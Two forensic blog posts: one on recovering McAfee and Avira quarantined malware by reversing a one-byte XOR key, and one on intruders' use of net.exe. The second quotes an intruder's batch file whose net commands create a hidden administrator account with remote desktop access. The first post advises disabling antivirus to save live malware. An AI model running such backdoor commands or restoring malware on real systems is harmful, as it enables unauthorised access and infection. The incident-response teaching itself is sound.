|Posted by M. Gene Shantz on September 8, 2016 at 7:00 PM||comments (40)|
During an incident response engagement, it is common to find the original malware that wreaked havoc in the network was deleted as part of the anti-forensics built into the code or by an over eager first responder. To make matters worse, the deleted malware is often overwritten by the time the IR team gets on site, which can make it difficult to collect and reverse engineer the code to identify Indicators of Compromise (IOCs). However, sometimes we can get lucky and one or more workstations will have an updated anti-virus application that quarantined the malicious files for us.
When McAfee or other anti-virus programs quarantines a malicious file they uses an XOR process with a one-byte key to obfuscate the data. This process can be reversed from within the application but the user never sees what is going on behind the scenes. In order for us to reverse this process manually we must know the one byte XOR key, which is difficult to decipher from the data in the “Details” file.
There are many reasons locating the original malware executable is critical to an investigation, such as reverse engineering the code, hash analysis, text string analysis, etc.. None of which are the subject of this paper. This paper will show you how to extract and de-obfuscate the quarantined files from McAfee AV and Avira anti-virus applications.
We will be using the WinHex hex editing tool from X-Ways forensics to complete this process, however, there are a few other free tools that can be used to achieve the same goal. The purpose here is not to promote a tool but to demonstrate how the process works so you have the knowledge and understanding of what is happening to the data at the disk level and repeat it one whatever AV vendor has quarantined your files.
McAfee stores its quarantined files in a “Quarantine” directory located off the root of the C: drive. Inside the quarantine folder the malware files are stored with a “.bup” extension and while this initially looks complicated the files are simply compound files that can be opened with 7zip or any of the forensic tools of your choice.
In the screenshot below is a quarantined file in the “.bup” format provided by a colleague. Note the eight highlighted bytes of, D0 CF 11 E0 A1 B1 1A E1, are the file signature for a compound file.
There are a couple ways to view the contents of these files. Because it is a compound file, you could use 7zip to open the archive. You are limited on the information that you can gain from the file content. For our purposes, we will continue to use WinHex to view the contents and gather additional information.
After redefining the snapshot and checking the box to uncover embedded data we can see the contents of the compound file. Additionally, you may wish to hash the files contained in the archive as I did in the screenshot below.
Once complete, we can see this compound file contains three files, a small “Details” file and in this case there are two files, “File_0” and “File_1” both showing the same size. As we will see shortly, the “Details” file will contain all the details about the file(s) that were quarantined and the “File_0” will contain the executable. The second “File_1” shows the same size as the other suggesting a second executable. It has a different hash value. While we can speculate as to what it is, we will have to investigate further.
When looking at the “Details” file in hex the data appears to be encrypted or otherwise unreadable.
Now let’s take a look at the data from the “File_0” file and see if anything stands out.
The first thing that is apparent is the hex value of “6A” that repeats in the file. Because we believe this to be an executable file which has a hex file signature of “0x4D 0x5A” or “MZ” ASCII, we can open any other .exe file and compare the data to identify the key.
In the screenshot below is the hex view of a “7z.exe” executable and we can quickly compare the data in the header and see that 0x6A has replaced all the 0x00 which is a clue that 0x6A is the key.
Now we will use WinHex to open the contents of the “File_0” in a separate window and enable editing. After highlighting the entire contents of the file, right click to edit the data and select Modify Block Data and check the XOR box and enter the 0x6A key as shown in the screenshot below.
Once you hit OK, you should see the hex values change back to their original value confirming the 0x6A was the correct key. In the screenshot below you can see we have been successful, however, the blue color values indicate that the changes have not yet been saved.
This is the point where I provide a word of caution that saving this file will place your system at risk and at the very least cause your own anti-virus to alert. Prior to saving the file, you must turn off your AV application briefly so proceed at your own risk.
To save the now deciphered file, simply “Save As” and WinHex will drop it in your case directory. Now you have the intact executable.
For demonstration purposes, I duplicated this process on the other two files, “Details” and “File_1” and placed them in a compressed zip file so I could continue my analysis.
Once deciphered, the “Details” file indicated both these files were from the Conficker worm and both were in separate locations. See below:
OriginalName=c:\documents and settings\<User>\local settings\temporary internet files\content.ie5\g9az81mv\vcezd.gif
As a side note to the different hash values for “File_0” and “File_1”, it was discovered that this “.bup” file had been recovered from unallocated space and the second file “File_1” was partially overwritten by a small system file.
Simply put, XOR is a process that can take two segments of data and generate a third segment of data. The third segment will be completely different than the first two but can be used against either of the first two segments to reverse the process. This is the same method that is used in Raid 5 striping with parody. In Raid 5 the parody segment that is placed on the third drive is the XOR’ed segment that can be used to recover that segment from either drive 1 or drive 2. More on that topic later.
For our example we will use the data we have in the McAfee block. Let us look at the hex value at offset 00 of “File_0” of the “.bup” file and convert it to binary.
Offset 00 > 0x27 = 00100111 Binary
Now let’s convert the previously identified key to binary
XOR Key > 0x6A = 01101010 Binary
To complete the process, we will do the XOR manually for this byte by comparing each corresponding bit from the two bytes. If the bits are equal then the new value will be a 0 bit, if the two bits are not equal then the new value will be 1.
Offset 00 0x27 0 0 1 0 0 1 1 1
XOR Key 0x6A 0 1 1 0 1 0 1 0
Value = 0x4D 0 1 0 0 1 1 0 1
As you can see from the above process, the results match what WinHex did programmatically.
Avira is another anti-virus program that stores the quarantined files in an “INFECTED” folder at the following location:
Avira uses a “.qua” extension for the malware files, however, these files are not a compound file as they were in McAfee.
In our sample file, a description of the file quarantined precedes the executable. In comparing numerous files, the start of the executable is based on the length of the path for the quarantined file. The bytes highlighted in red describe the type of malware Avira determined this sample to be while the green highlighted bytes are the location path in Unicode. The blue highlighted bytes starting at offset 0x12E appear to be the first eight bytes of the executable.
Unlike the McAfee files, we will not be able to simply select the entire file and perform the XOR operation on it. We will have to copy out the bytes that are identified as being the actual executable.
Starting at offset 0x12E we will sweep to the end of the file and copy that data into another file.
Similar to the McAfee we see a common value of 0xAA that appears to replace the 0x00 value of the executable suggesting this is the XOR key.
Following the same process as previously described we will reverse the XOR operation using the 0xAA key.
To ensure you were successful you may wish to hash your final results and submit it to VirusTotal.
|Posted by M. Gene Shantz on December 30, 2015 at 4:05 PM||comments (0)|
I have come across the executable “net.exe” several times during engagments and heard it referred to as a tool commonly used by nefarious intruders to do bad things in a network. So I decided that it would make a good forensic topic.
For those of us who do not come from an IT background, learning and understand that intruders can and will often use IT administrative tools that are already in the environment they are compromising is important for us to be able to trace their activities within the network. While the Trojan’s and virus’s give the intruder the initial access to the system they will commonly use legitimate command line tools to navigate and traverse the network as well as hiding their activity for as long as possible.
The Net Command is described by Microsoft as: “The Net.exe Utility component is a command-line tool that controls users, groups, services, and network connections.”
This command is a very powerful tool that intruders like to use for various tasks such as mapping a network or creating and/or modify user accounts once they get administrative access.
The Net command list is quite long and not the focus of this nugget, however, if you looking to mess around with a few of the commands just to see its power and usefulness, here is a couple websites that list the commands and provide examples.
First let’s talk about where you should see this file on a clean system. In my clean Windows 7 x64 box and these were the 4 locations for this file. Note this is a 64bit OS so there is a 32bit executable in the SysWOW64 directory with the 64 bit in the System32 directory.
The file MD5 hash values are:
64 bit > 63DD6FBAABF881385899FD39DF13DCE3
32 bit> B9A4DAC2192FD78CDA097BFA79F6E7B2
From an engagement perspective, I wanted to share an example of how I have come across this tool in use.
During an engagement where a server was significantly compromised, after finding the creation of a user account in the log analysis, we located a folder that was in the Windows directory off the root that contained a few tools and batch files that were placed there by the intruder.
Note the presence of the services.exe and the net.exe and what is interesting when comparing the hash values of the net.exe files the suspicious one did not match either of the known good files. A Virus Total of the suspicious file showed it was the net1.exe from the Win7 SP1 but had been renamed and moved to this directory by the intruder.
So what is the difference between the net.exe and the net1.exe? According to Tim Fisher at http://pcsupport.about.com/od/commandlinereference/p/net-command.htm the net.exe command had to undergo a modification due to Y2K and the net1 file is the old version that is still used for backward compatibility, but essentially the files serve the same purpose and function.
As a side note, the service.exe file in this directory was flagged in Virus Total as a Trojan and came back as the file below that had been renamed.
So let’s see how the intruder used the net command in this case. The boot.bat file was simply a batch file that contained the following net commands.
@net user hover 58911xc, /add
@net localgroup administrators hover /add
@net user hover /active:yes
@net user hover 58911xc,
@net localgroup "Remote Desktop Users" hover /add
This was a simple command that first turns off the echo for a little more stealth and then creates the user account “hover”. Then the next line adds the account to the administrators group before activating it in the next line. Then it adds the account to the remote Desktop User groups to allow it to be logged into remotely.
In one simple swoop this intruder used the net command to give him backdoor remote access that allowed for him/her to return that their convenience.
From a network mapping perspective if an intruder can gain access to a command prompt in the environment they can run a simple command that will list out all the systems on the network, giving the intruder a pretty good idea where to look next.